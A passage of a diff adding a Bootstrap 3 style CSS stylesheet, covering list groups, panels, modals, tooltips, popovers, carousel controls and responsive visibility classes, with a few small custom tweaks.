inherit; +} +a.list-group-item-success:hover, +a.list-group-item-success:focus { + color: #3c763d; + background-color: #d0e9c6; +} +a.list-group-item-success.active, +a.list-group-item-success.active:hover, +a.list-group-item-success.active:focus { + color: #fff; + background-color: #3c763d; + border-color: #3c763d; +} +.list-group-item-info { + color: #31708f; + background-color: #d9edf7; +} +a.list-group-item-info { + color: #31708f; +} +a.list-group-item-info .list-group-item-heading { + color: inherit; +} +a.list-group-item-info:hover, +a.list-group-item-info:focus { + color: #31708f; + background-color: #c4e3f3; +} +a.list-group-item-info.active, +a.list-group-item-info.active:hover, +a.list-group-item-info.active:focus { + color: #fff; + background-color: #31708f; + border-color: #31708f; +} +.list-group-item-warning { + color: #8a6d3b; + background-color: #fcf8e3; +} +a.list-group-item-warning { + color: #8a6d3b; +} +a.list-group-item-warning .list-group-item-heading { + color: inherit; +} +a.list-group-item-warning:hover, +a.list-group-item-warning:focus { + color: #8a6d3b; + background-color: #faf2cc; +} +a.list-group-item-warning.active, +a.list-group-item-warning.active:hover, +a.list-group-item-warning.active:focus { + color: #fff; + background-color: #8a6d3b; + border-color: #8a6d3b; +} +.list-group-item-danger { + color: #a94442; + background-color: #f2dede; +} +a.list-group-item-danger { + color: #a94442; +} +a.list-group-item-danger .list-group-item-heading { + color: inherit; +} +a.list-group-item-danger:hover, +a.list-group-item-danger:focus { + color: #a94442; + background-color: #ebcccc; +} +a.list-group-item-danger.active, +a.list-group-item-danger.active:hover, +a.list-group-item-danger.active:focus { + color: #fff; + background-color: #a94442; + border-color: #a94442; +} +.list-group-item-heading { + margin-top: 0; + margin-bottom: 5px; +} +.list-group-item-text { + margin-bottom: 0; + line-height: 1.3; +} +.panel { + margin-bottom: 20px; + background-color: #fff; + border: 1px solid transparent; + border-radius: 4px; + -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .05); + box-shadow: 0 1px 1px rgba(0, 0, 0, .05); +} +.panel-body { + padding: 15px; +} +.panel-heading { + padding: 10px 15px; + border-bottom: 1px solid transparent; + border-top-left-radius: 3px; + border-top-right-radius: 3px; +} +.panel-heading > .dropdown .dropdown-toggle { + color: inherit; +} +.panel-title { + margin-top: 0; + margin-bottom: 0; + font-size: 16px; + color: inherit; +} +.panel-title > a, +.panel-title > small, +.panel-title > .small, +.panel-title > small > a, +.panel-title > .small > a { + color: inherit; +} +.panel-footer { + padding: 10px 15px; + background-color: #f5f5f5; + border-top: 1px solid #ddd; + border-bottom-right-radius: 3px; + border-bottom-left-radius: 3px; +} +.panel > .list-group, +.panel > .panel-collapse > .list-group { + margin-bottom: 0; +} +.panel > .list-group .list-group-item, +.panel > .panel-collapse > .list-group .list-group-item { + border-width: 1px 0; + border-radius: 0; +} +.panel > .list-group:first-child .list-group-item:first-child, +.panel > .panel-collapse > .list-group:first-child .list-group-item:first-child { + border-top: 0; + border-top-left-radius: 3px; + border-top-right-radius: 3px; +} +.panel > .list-group:last-child .list-group-item:last-child, +.panel > .panel-collapse > .list-group:last-child .list-group-item:last-child { + border-bottom: 0; + border-bottom-right-radius: 3px; + border-bottom-left-radius: 3px; +} +.panel-heading + .list-group .list-group-item:first-child { + border-top-width: 0; +} +.list-group + .panel-footer { + border-top-width: 0; +} +.panel > .table, +.panel > .table-responsive > .table, +.panel > .panel-collapse > .table { + margin-bottom: 0; +} +.panel > .table caption, +.panel > .table-responsive > .table caption, +.panel > .panel-collapse > .table caption { + padding-right: 15px; + padding-left: 15px; +} +.panel > .table:first-child, +.panel > .table-responsive:first-child > .table:first-child { + border-top-left-radius: 3px; + border-top-right-radius: 3px; +} +.panel > .table:first-child > thead:first-child > tr:first-child, +.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child, +.panel > .table:first-child > tbody:first-child > tr:first-child, +.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child { + border-top-left-radius: 3px; + border-top-right-radius: 3px; +} +.panel > .table:first-child > thead:first-child > tr:first-child td:first-child, +.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:first-child, +.panel > .table:first-child > tbody:first-child > tr:first-child td:first-child, +.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:first-child, +.panel > .table:first-child > thead:first-child > tr:first-child th:first-child, +.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:first-child, +.panel > .table:first-child > tbody:first-child > tr:first-child th:first-child, +.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:first-child { + border-top-left-radius: 3px; +} +.panel > .table:first-child > thead:first-child > tr:first-child td:last-child, +.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:last-child, +.panel > .table:first-child > tbody:first-child > tr:first-child td:last-child, +.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:last-child, +.panel > .table:first-child > thead:first-child > tr:first-child th:last-child, +.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:last-child, +.panel > .table:first-child > tbody:first-child > tr:first-child th:last-child, +.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:last-child { + border-top-right-radius: 3px; +} +.panel > .table:last-child, +.panel > .table-responsive:last-child > .table:last-child { + border-bottom-right-radius: 3px; + border-bottom-left-radius: 3px; +} +.panel > .table:last-child > tbody:last-child > tr:last-child, +.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child, +.panel > .table:last-child > tfoot:last-child > tr:last-child, +.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child { + border-bottom-right-radius: 3px; + border-bottom-left-radius: 3px; +} +.panel > .table:last-child > tbody:last-child > tr:last-child td:first-child, +.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:first-child, +.panel > .table:last-child > tfoot:last-child > tr:last-child td:first-child, +.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:first-child, +.panel > .table:last-child > tbody:last-child > tr:last-child th:first-child, +.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:first-child, +.panel > .table:last-child > tfoot:last-child > tr:last-child th:first-child, +.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:first-child { + border-bottom-left-radius: 3px; +} +.panel > .table:last-child > tbody:last-child > tr:last-child td:last-child, +.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:last-child, +.panel > .table:last-child > tfoot:last-child > tr:last-child td:last-child, +.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:last-child, +.panel > .table:last-child > tbody:last-child > tr:last-child th:last-child, +.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:last-child, +.panel > .table:last-child > tfoot:last-child > tr:last-child th:last-child, +.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:last-child { + border-bottom-right-radius: 3px; +} +.panel > .panel-body + .table, +.panel > .panel-body + .table-responsive, +.panel > .table + .panel-body, +.panel > .table-responsive + .panel-body { + border-top: 1px solid #ddd; +} +.panel > .table > tbody:first-child > tr:first-child th, +.panel > .table > tbody:first-child > tr:first-child td { + border-top: 0; +} +.panel > .table-bordered, +.panel > .table-responsive > .table-bordered { + border: 0; +} +.panel > .table-bordered > thead > tr > th:first-child, +.panel > .table-responsive > .table-bordered > thead > tr > th:first-child, +.panel > .table-bordered > tbody > tr > th:first-child, +.panel > .table-responsive > .table-bordered > tbody > tr > th:first-child, +.panel > .table-bordered > tfoot > tr > th:first-child, +.panel > .table-responsive > .table-bordered > tfoot > tr > th:first-child, +.panel > .table-bordered > thead > tr > td:first-child, +.panel > .table-responsive > .table-bordered > thead > tr > td:first-child, +.panel > .table-bordered > tbody > tr > td:first-child, +.panel > .table-responsive > .table-bordered > tbody > tr > td:first-child, +.panel > .table-bordered > tfoot > tr > td:first-child, +.panel > .table-responsive > .table-bordered > tfoot > tr > td:first-child { + border-left: 0; +} +.panel > .table-bordered > thead > tr > th:last-child, +.panel > .table-responsive > .table-bordered > thead > tr > th:last-child, +.panel > .table-bordered > tbody > tr > th:last-child, +.panel > .table-responsive > .table-bordered > tbody > tr > th:last-child, +.panel > .table-bordered > tfoot > tr > th:last-child, +.panel > .table-responsive > .table-bordered > tfoot > tr > th:last-child, +.panel > .table-bordered > thead > tr > td:last-child, +.panel > .table-responsive > .table-bordered > thead > tr > td:last-child, +.panel > .table-bordered > tbody > tr > td:last-child, +.panel > .table-responsive > .table-bordered > tbody > tr > td:last-child, +.panel > .table-bordered > tfoot > tr > td:last-child, +.panel > .table-responsive > .table-bordered > tfoot > tr > td:last-child { + border-right: 0; +} +.panel > .table-bordered > thead > tr:first-child > td, +.panel > .table-responsive > .table-bordered > thead > tr:first-child > td, +.panel > .table-bordered > tbody > tr:first-child > td, +.panel > .table-responsive > .table-bordered > tbody > tr:first-child > td, +.panel > .table-bordered > thead > tr:first-child > th, +.panel > .table-responsive > .table-bordered > thead > tr:first-child > th, +.panel > .table-bordered > tbody > tr:first-child > th, +.panel > .table-responsive > .table-bordered > tbody > tr:first-child > th { + border-bottom: 0; +} +.panel > .table-bordered > tbody > tr:last-child > td, +.panel > .table-responsive > .table-bordered > tbody > tr:last-child > td, +.panel > .table-bordered > tfoot > tr:last-child > td, +.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > td, +.panel > .table-bordered > tbody > tr:last-child > th, +.panel > .table-responsive > .table-bordered > tbody > tr:last-child > th, +.panel > .table-bordered > tfoot > tr:last-child > th, +.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > th { + border-bottom: 0; +} +.panel > .table-responsive { + margin-bottom: 0; + border: 0; +} +.panel-group { + margin-bottom: 20px; +} +.panel-group .panel { + margin-bottom: 0; + border-radius: 4px; +} +.panel-group .panel + .panel { + margin-top: 5px; +} +.panel-group .panel-heading { + border-bottom: 0; +} +.panel-group .panel-heading + .panel-collapse > .panel-body, +.panel-group .panel-heading + .panel-collapse > .list-group { + border-top: 1px solid #ddd; +} +.panel-group .panel-footer { + border-top: 0; +} +.panel-group .panel-footer + .panel-collapse .panel-body { + border-bottom: 1px solid #ddd; +} +.panel-default { + border-color: #ddd; +} +.panel-default > .panel-heading { + color: #333; + background-color: #f5f5f5; + border-color: #ddd; +} +.panel-default > .panel-heading + .panel-collapse > .panel-body { + border-top-color: #ddd; +} +.panel-default > .panel-heading .badge { + color: #f5f5f5; + background-color: #333; +} +.panel-default > .panel-footer + .panel-collapse > .panel-body { + border-bottom-color: #ddd; +} +.panel-primary { + border-color: #337ab7; +} +.panel-primary > .panel-heading { + color: #fff; + background-color: #337ab7; + border-color: #337ab7; +} +.panel-primary > .panel-heading + .panel-collapse > .panel-body { + border-top-color: #337ab7; +} +.panel-primary > .panel-heading .badge { + color: #337ab7; + background-color: #fff; +} +.panel-primary > .panel-footer + .panel-collapse > .panel-body { + border-bottom-color: #337ab7; +} +.panel-success { + border-color: #d6e9c6; +} +.panel-success > .panel-heading { + color: #3c763d; + background-color: #dff0d8; + border-color: #d6e9c6; +} +.panel-success > .panel-heading + .panel-collapse > .panel-body { + border-top-color: #d6e9c6; +} +.panel-success > .panel-heading .badge { + color: #dff0d8; + background-color: #3c763d; +} +.panel-success > .panel-footer + .panel-collapse > .panel-body { + border-bottom-color: #d6e9c6; +} +.panel-info { + border-color: #bce8f1; +} +.panel-info > .panel-heading { + color: #31708f; + background-color: #d9edf7; + border-color: #bce8f1; +} +.panel-info > .panel-heading + .panel-collapse > .panel-body { + border-top-color: #bce8f1; +} +.panel-info > .panel-heading .badge { + color: #d9edf7; + background-color: #31708f; +} +.panel-info > .panel-footer + .panel-collapse > .panel-body { + border-bottom-color: #bce8f1; +} +.panel-warning { + border-color: #faebcc; +} +.panel-warning > .panel-heading { + color: #8a6d3b; + background-color: #fcf8e3; + border-color: #faebcc; +} +.panel-warning > .panel-heading + .panel-collapse > .panel-body { + border-top-color: #faebcc; +} +.panel-warning > .panel-heading .badge { + color: #fcf8e3; + background-color: #8a6d3b; +} +.panel-warning > .panel-footer + .panel-collapse > .panel-body { + border-bottom-color: #faebcc; +} +.panel-danger { + border-color: #ebccd1; +} +.panel-danger > .panel-heading { + color: #a94442; + background-color: #f2dede; + border-color: #ebccd1; +} +.panel-danger > .panel-heading + .panel-collapse > .panel-body { + border-top-color: #ebccd1; +} +.panel-danger > .panel-heading .badge { + color: #f2dede; + background-color: #a94442; +} +.panel-danger > .panel-footer + .panel-collapse > .panel-body { + border-bottom-color: #ebccd1; +} +.embed-responsive { + position: relative; + display: block; + height: 0; + padding: 0; + overflow: hidden; +} +.embed-responsive .embed-responsive-item, +.embed-responsive iframe, +.embed-responsive embed, +.embed-responsive object, +.embed-responsive video { + position: absolute; + top: 0; + bottom: 0; + left: 0; + width: 100%; + height: 100%; + border: 0; +} +.embed-responsive.embed-responsive-16by9 { + padding-bottom: 56.25%; +} +.embed-responsive.embed-responsive-4by3 { + padding-bottom: 75%; +} +.well { + min-height: 20px; + padding: 19px; + margin-bottom: 20px; + background-color: #f5f5f5; + border: 1px solid #e3e3e3; + border-radius: 4px; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .05); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, .05); +} +.well blockquote { + border-color: #ddd; + border-color: rgba(0, 0, 0, .15); +} +.well-lg { + padding: 24px; + border-radius: 6px; +} +.well-sm { + padding: 9px; + border-radius: 3px; +} +.close { + float: right; + font-size: 21px; + font-weight: bold; + line-height: 1; + color: #000; + text-shadow: 0 1px 0 #fff; + filter: alpha(opacity=20); + opacity: .2; +} +.close:hover, +.close:focus { + color: #000; + text-decoration: none; + cursor: pointer; + filter: alpha(opacity=50); + opacity: .5; +} +button.close { + -webkit-appearance: none; + padding: 0; + cursor: pointer; + background: transparent; + border: 0; +} +.modal-open { + overflow: hidden; +} +.modal { + position: fixed; + top: 0; + right: 0; + bottom: 0; + left: 0; + z-index: 1040; + display: none; + overflow: hidden; + -webkit-overflow-scrolling: touch; + outline: 0; + background-color: rgba(255,355,255,0.9); +} +.modal.fade .modal-dialog { + -webkit-transition: -webkit-transform .3s ease-out; + -o-transition: -o-transform .3s ease-out; + transition: transform .3s ease-out; + -webkit-transform: translate(0, -25%); + -ms-transform: translate(0, -25%); + -o-transform: translate(0, -25%); + transform: translate(0, -25%); +} +.modal.in .modal-dialog { + -webkit-transform: translate(0, 0); + -ms-transform: translate(0, 0); + -o-transform: translate(0, 0); + transform: translate(0, 0); +} +.modal-open .modal { + overflow-x: hidden; + overflow-y: auto; +} +.modal-dialog { + position: relative; + width: 800px; + margin: 10px; +} +.modal-content { + position: relative; + background-color: #fff; + -webkit-background-clip: padding-box; + background-clip: padding-box; + border: 1px solid #999; + border: 1px solid rgba(0, 0, 0, .2); + border-radius: 6px; + outline: 0; + -webkit-box-shadow: 0 3px 9px rgba(0, 0, 0, .5); + box-shadow: 0 3px 9px rgba(0, 0, 0, .5); +} +.modal-backdrop { + position: absolute; + top: 0; + right: 0; + left: 0; + background-color: #000; +} +.modal-backdrop.fade { + filter: alpha(opacity=0); + opacity: 0; +} +.modal-backdrop.in { + filter: alpha(opacity=50); + opacity: .5; +} +.modal-header { + min-height: 16.42857143px; + padding: 15px; + border-bottom: 1px solid #e5e5e5; +} +.modal-header .close { + margin-top: -2px; +} +.modal-title { + margin: 0; + line-height: 1.42857143; +} +.modal-body { + position: relative; + padding: 15px; +} +.modal-footer { + padding: 15px; + text-align: right; + border-top: 1px solid #e5e5e5; +} +.modal-footer .btn + .btn { + margin-bottom: 0; + margin-left: 5px; +} +.modal-footer .btn-group .btn + .btn { + margin-left: -1px; +} +.modal-footer .btn-block + .btn-block { + margin-left: 0; +} +.modal-scrollbar-measure { + position: absolute; + top: -9999px; + width: 50px; + height: 50px; + overflow: scroll; +} +@media (min-width: 768px) { + .modal-dialog { + width: 600px; + margin: 30px auto; + } + .modal-content { + -webkit-box-shadow: 0 5px 15px rgba(0, 0, 0, .5); + box-shadow: 0 5px 15px rgba(0, 0, 0, .5); + } + .modal-sm { + width: 300px; + } +} +@media (min-width: 992px) { + .modal-lg { + width: 900px; + } +} +.tooltip { + position: absolute; + z-index: 1070; + display: block; + font-size: 12px; + font-weight: normal; + line-height: 1.4; + visibility: visible; + filter: alpha(opacity=0); + opacity: 0; +} +.tooltip.in { + filter: alpha(opacity=90); + opacity: .9; +} +.tooltip.top { + padding: 5px 0; + margin-top: -3px; +} +.tooltip.right { + padding: 0 5px; + margin-left: 3px; +} +.tooltip.bottom { + padding: 5px 0; + margin-top: 3px; +} +.tooltip.left { + padding: 0 5px; + margin-left: -3px; +} +.tooltip-inner { + max-width: 200px; + padding: 3px 8px; + text-transform: uppercase; + color: #fff; + text-align: center; + text-decoration: none; + background-color: #000; + border-radius: 4px; +} +.tooltip-arrow { + position: absolute; + width: 0; + height: 0; + border-color: transparent; + border-style: solid; +} +.tooltip.top .tooltip-arrow { + bottom: 0; + left: 50%; + margin-left: -5px; + border-width: 5px 5px 0; + border-top-color: #000; +} +.tooltip.top-left .tooltip-arrow { + right: 5px; + bottom: 0; + margin-bottom: -5px; + border-width: 5px 5px 0; + border-top-color: #000; +} +.tooltip.top-right .tooltip-arrow { + bottom: 0; + left: 5px; + margin-bottom: -5px; + border-width: 5px 5px 0; + border-top-color: #000; +} +.tooltip.right .tooltip-arrow { + top: 50%; + left: 0; + margin-top: -5px; + border-width: 5px 5px 5px 0; + border-right-color: #000; +} +.tooltip.left .tooltip-arrow { + top: 50%; + right: 0; + margin-top: -5px; + border-width: 5px 0 5px 5px; + border-left-color: #000; +} +.tooltip.bottom .tooltip-arrow { + top: 0; + left: 50%; + margin-left: -5px; + border-width: 0 5px 5px; + border-bottom-color: #000; +} +.tooltip.bottom-left .tooltip-arrow { + top: 0; + right: 5px; + margin-top: -5px; + border-width: 0 5px 5px; + border-bottom-color: #000; +} +.tooltip.bottom-right .tooltip-arrow { + top: 0; + left: 5px; + margin-top: -5px; + border-width: 0 5px 5px; + border-bottom-color: #000; +} +.popover { + position: absolute; + top: 0; + left: 0; + z-index: 1060; + display: none; + max-width: 276px; + padding: 1px; + font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; + font-size: 14px; + font-weight: normal; + line-height: 1.42857143; + text-align: left; + white-space: normal; + background-color: #fff; + -webkit-background-clip: padding-box; + background-clip: padding-box; + border: 1px solid #ccc; + border: 1px solid rgba(0, 0, 0, .2); + border-radius: 6px; + -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, .2); + box-shadow: 0 5px 10px rgba(0, 0, 0, .2); +} +.popover.top { + margin-top: -10px; +} +.popover.right { + margin-left: 10px; +} +.popover.bottom { + margin-top: 10px; +} +.popover.left { + margin-left: -10px; +} +.popover-title { + padding: 8px 14px; + margin: 0; + font-size: 14px; + background-color: #f7f7f7; + border-bottom: 1px solid #ebebeb; + border-radius: 5px 5px 0 0; +} +.popover-content { + padding: 9px 14px; +} +.popover > .arrow, +.popover > .arrow:after { + position: absolute; + display: block; + width: 0; + height: 0; + border-color: transparent; + border-style: solid; +} +.popover > .arrow { + border-width: 11px; +} +.popover > .arrow:after { + content: ""; + border-width: 10px; +} +.popover.top > .arrow { + bottom: -11px; + left: 50%; + margin-left: -11px; + border-top-color: #999; + border-top-color: rgba(0, 0, 0, .25); + border-bottom-width: 0; +} +.popover.top > .arrow:after { + bottom: 1px; + margin-left: -10px; + content: " "; + border-top-color: #fff; + border-bottom-width: 0; +} +.popover.right > .arrow { + top: 50%; + left: -11px; + margin-top: -11px; + border-right-color: #999; + border-right-color: rgba(0, 0, 0, .25); + border-left-width: 0; +} +.popover.right > .arrow:after { + bottom: -10px; + left: 1px; + content: " "; + border-right-color: #fff; + border-left-width: 0; +} +.popover.bottom > .arrow { + top: -11px; + left: 50%; + margin-left: -11px; + border-top-width: 0; + border-bottom-color: #999; + border-bottom-color: rgba(0, 0, 0, .25); +} +.popover.bottom > .arrow:after { + top: 1px; + margin-left: -10px; + content: " "; + border-top-width: 0; + border-bottom-color: #fff; +} +.popover.left > .arrow { + top: 50%; + right: -11px; + margin-top: -11px; + border-right-width: 0; + border-left-color: #999; + border-left-color: rgba(0, 0, 0, .25); +} +.popover.left > .arrow:after { + right: 1px; + bottom: -10px; + content: " "; + border-right-width: 0; + border-left-color: #fff; +} +.carousel { + position: relative; +} +.carousel-inner { + position: relative; + width: 100%; + overflow: hidden; +} +.carousel-inner > .item { + position: relative; + display: none; + -webkit-transition: .6s ease-in-out left; + -o-transition: .6s ease-in-out left; + transition: .6s ease-in-out left; +} +.carousel-inner > .item > img, +.carousel-inner > .item > a > img { + line-height: 1; +} +@media all and (transform-3d), (-webkit-transform-3d) { + .carousel-inner > .item { + -webkit-transition: -webkit-transform .6s ease-in-out; + -o-transition: -o-transform .6s ease-in-out; + transition: transform .6s ease-in-out; + + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + -webkit-perspective: 1000; + perspective: 1000; + } + .carousel-inner > .item.next, + .carousel-inner > .item.active.right { + left: 0; + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); + } + .carousel-inner > .item.prev, + .carousel-inner > .item.active.left { + left: 0; + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); + } + .carousel-inner > .item.next.left, + .carousel-inner > .item.prev.right, + .carousel-inner > .item.active { + left: 0; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } +} +.carousel-inner > .active, +.carousel-inner > .next, +.carousel-inner > .prev { + display: block; +} +.carousel-inner > .active { + left: 0; +} +.carousel-inner > .next, +.carousel-inner > .prev { + position: absolute; + top: 0; + width: 100%; +} +.carousel-inner > .next { + left: 100%; +} +.carousel-inner > .prev { + left: -100%; +} +.carousel-inner > .next.left, +.carousel-inner > .prev.right { + left: 0; +} +.carousel-inner > .active.left { + left: -100%; +} +.carousel-inner > .active.right { + left: 100%; +} +.carousel-control { + position: absolute; + top: 0; + bottom: 0; + left: 0; + width: 15%; + font-size: 20px; + color: #fff; + text-align: center; + text-shadow: 0 1px 2px rgba(0, 0, 0, .6); + filter: alpha(opacity=50); + opacity: .5; +} +.carousel-control.left { + background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%); + background-image: -o-linear-gradient(left, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%); + background-image: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, .5)), to(rgba(0, 0, 0, .0001))); + background-image: linear-gradient(to right, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000', endColorstr='#00000000', GradientType=1); + background-repeat: repeat-x; +} +.carousel-control.right { + right: 0; + left: auto; + background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, .0001) 0%, rgba(0, 0, 0, .5) 100%); + background-image: -o-linear-gradient(left, rgba(0, 0, 0, .0001) 0%, rgba(0, 0, 0, .5) 100%); + background-image: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, .0001)), to(rgba(0, 0, 0, .5))); + background-image: linear-gradient(to right, rgba(0, 0, 0, .0001) 0%, rgba(0, 0, 0, .5) 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000', endColorstr='#80000000', GradientType=1); + background-repeat: repeat-x; +} +.carousel-control:hover, +.carousel-control:focus { + color: #fff; + text-decoration: none; + filter: alpha(opacity=90); + outline: 0; + opacity: .9; +} +.carousel-control .icon-prev, +.carousel-control .icon-next, +.carousel-control .glyphicon-chevron-left, +.carousel-control .glyphicon-chevron-right { + position: absolute; + top: 50%; + z-index: 5; + display: inline-block; +} +.carousel-control .icon-prev, +.carousel-control .glyphicon-chevron-left { + left: 50%; + margin-left: -10px; +} +.carousel-control .icon-next, +.carousel-control .glyphicon-chevron-right { + right: 50%; + margin-right: -10px; +} +.carousel-control .icon-prev, +.carousel-control .icon-next { + width: 20px; + height: 20px; + margin-top: -10px; + font-family: serif; + line-height: 1; +} +.carousel-control .icon-prev:before { + content: '\2039'; +} +.carousel-control .icon-next:before { + content: '\203a'; +} +.carousel-indicators { + position: absolute; + bottom: 10px; + left: 50%; + z-index: 15; + width: 60%; + padding-left: 0; + margin-left: -30%; + text-align: center; + list-style: none; +} +.carousel-indicators li { + display: inline-block; + width: 10px; + height: 10px; + margin: 1px; + text-indent: -999px; + cursor: pointer; + background-color: #000 \9; + background-color: rgba(0, 0, 0, 0); + border: 1px solid #fff; + border-radius: 10px; +} +.carousel-indicators .active { + width: 12px; + height: 12px; + margin: 0; + background-color: #fff; +} +.carousel-caption { + position: absolute; + right: 15%; + bottom: 20px; + left: 15%; + z-index: 10; + padding-top: 20px; + padding-bottom: 20px; + color: #fff; + text-align: center; + text-shadow: 0 1px 2px rgba(0, 0, 0, .6); +} +.carousel-caption .btn { + text-shadow: none; +} +@media screen and (min-width: 768px) { + .carousel-control .glyphicon-chevron-left, + .carousel-control .glyphicon-chevron-right, + .carousel-control .icon-prev, + .carousel-control .icon-next { + width: 30px; + height: 30px; + margin-top: -15px; + font-size: 30px; + } + .carousel-control .glyphicon-chevron-left, + .carousel-control .icon-prev { + margin-left: -15px; + } + .carousel-control .glyphicon-chevron-right, + .carousel-control .icon-next { + margin-right: -15px; + } + .carousel-caption { + right: 20%; + left: 20%; + padding-bottom: 30px; + } + .carousel-indicators { + bottom: 20px; + } +} +.clearfix:before, +.clearfix:after, +.dl-horizontal dd:before, +.dl-horizontal dd:after, +.container:before, +.container:after, +.container-fluid:before, +.container-fluid:after, +.row:before, +.row:after, +.form-horizontal .form-group:before, +.form-horizontal .form-group:after, +.btn-toolbar:before, +.btn-toolbar:after, +.btn-group-vertical > .btn-group:before, +.btn-group-vertical > .btn-group:after, +.nav:before, +.nav:after, +.navbar:before, +.navbar:after, +.navbar-header:before, +.navbar-header:after, +.navbar-collapse:before, +.navbar-collapse:after, +.pager:before, +.pager:after, +.panel-body:before, +.panel-body:after, +.modal-footer:before, +.modal-footer:after { + display: table; + content: " "; +} +.clearfix:after, +.dl-horizontal dd:after, +.container:after, +.container-fluid:after, +.row:after, +.form-horizontal .form-group:after, +.btn-toolbar:after, +.btn-group-vertical > .btn-group:after, +.nav:after, +.navbar:after, +.navbar-header:after, +.navbar-collapse:after, +.pager:after, +.panel-body:after, +.modal-footer:after { + clear: both; +} +.center-block { + display: block; + margin-right: auto; + margin-left: auto; +} +.pull-right { + float: right !important; +} +.pull-left { + float: left !important; +} +.hide { + display: none !important; +} +.show { + display: block !important; +} +.invisible { + visibility: hidden; +} +.text-hide { + font: 0/0 a; + color: transparent; + text-shadow: none; + background-color: transparent; + border: 0; +} +.hidden { + display: none !important; + visibility: hidden !important; +} +.affix { + position: fixed; +} +@-ms-viewport { + width: device-width; +} +.visible-xs, +.visible-sm, +.visible-md, +.visible-lg { + display: none !important; +} +.visible-xs-block, +.visible-xs-inline, +.visible-xs-inline-block, +.visible-sm-block, +.visible-sm-inline, +.visible-sm-inline-block, +.visible-md-block, +.visible-md-inline, +.visible-md-inline-block, +.visible-lg-block, +.visible-lg-inline, +.visible-lg-inline-block { + display: none !important; +} +@media (max-width: 767px) { + .visible-xs { + display: block !important; + } + table.visible-xs { + display: table; + } + tr.visible-xs { + display: table-row !important; + } + th.visible-xs, + td.visible-xs { + display: table-cell !important; + } +} +@media (max-width: 767px) { + .visible-xs-block { + display: block !important; + } +} +@media (max-width: 767px) { + .visible-xs-inline { + display: inline !important; + } +} +@media (max-width: 767px) { + .visible-xs-inline-block { + display: inline-block !important; + } +} +@media (min-width: 768px) and (max-width: 991px) { + .visible-sm { + display: block !important; + } + table.visible-sm { + display: table; + } + tr.visible-sm { + display: table-row !important; + } + th.visible-sm, + td.visible-sm { + display: table-cell !important; + } +} +@media (min-width: 768px) and (max-width: 991px) { + .visible-sm-block { + display: block !important; + } +} +@media (min-width: 768px) and (max-width: 991px) { + .visible-sm-inline { + display: inline !important; + } +} +@media (min-width: 768px) and (max-width: 991px) { + .visible-sm-inline-block { + display: inline-block !important; + } +} +@media (min-width: 992px) and (max-width: 1199px) { + .visible-md { + display: block !important; + } + table.visible-md { + display: table; + } + tr.visible-md { + display: table-row !important; + } + th.visible-md, + td.visible-md { + display: table-cell !important; + } +} +@media (min-width: 992px) and (max-width: 1199px) { + .visible-md-block { + display: block !important; + } +} +@media (min-width: 992px) and (max-width: 1199px) { + .visible-md-inline { + display: inline !important; + } +} +@media (min-width: 992px) and (max-width: 1199px) { + .visible-md-inline-block { + display: inline-block !important; + } +} +@media (min-width: 1200px) { + .visible-lg { + display: block !important; + } + table.visible-lg { + display: table; + } + tr.visible-lg { + display: table-row !important; + } + th.visible-lg, + td.visible-lg { + display: table-cell !important; + } +} +@media (min-width: 1200px) { + .visible-lg-block { + display: block !important; + } +} +@media (min-width: 1200px) { + .visible-lg-inline { + display: inline !important; + } +} +@media (min-width: 1200px) { + .visible-lg-inline-block { + display: inline-block !important; + } +} +@media (max-width: 767px) { + .hidden-xs { + display: none !important; + } +} +@media (min-width: 768px) and (max-width: 991px) { + .hidden-sm { + display: none !important; + } +} +@media (min-width: 992px) and (max-width: 1199px) { + .hidden-md { + display: none !important; + } +} +@media (min-width: 1200px) { + .hidden-lg { + display: none !important; + } +} +.visible-print { + display: none !important; +} +@media print { + .visible-print { + display: block !important; + } + table.visible-print { + display: table; + } + tr.visible-print { + display: table-row !important; + } + th.visible-print, + td.visible-print { + display: table-cell !important; + } +} +.visible-print-block { + display: none !important; +} +@media print { + .visible-print-block { + display: block !important; + } +} +.visible-print-inline { + display: none !important; +} +@media print { + .visible-print-inline { + display: inline !important; + } +} +.visible-print-inline-block { + display: none !important; 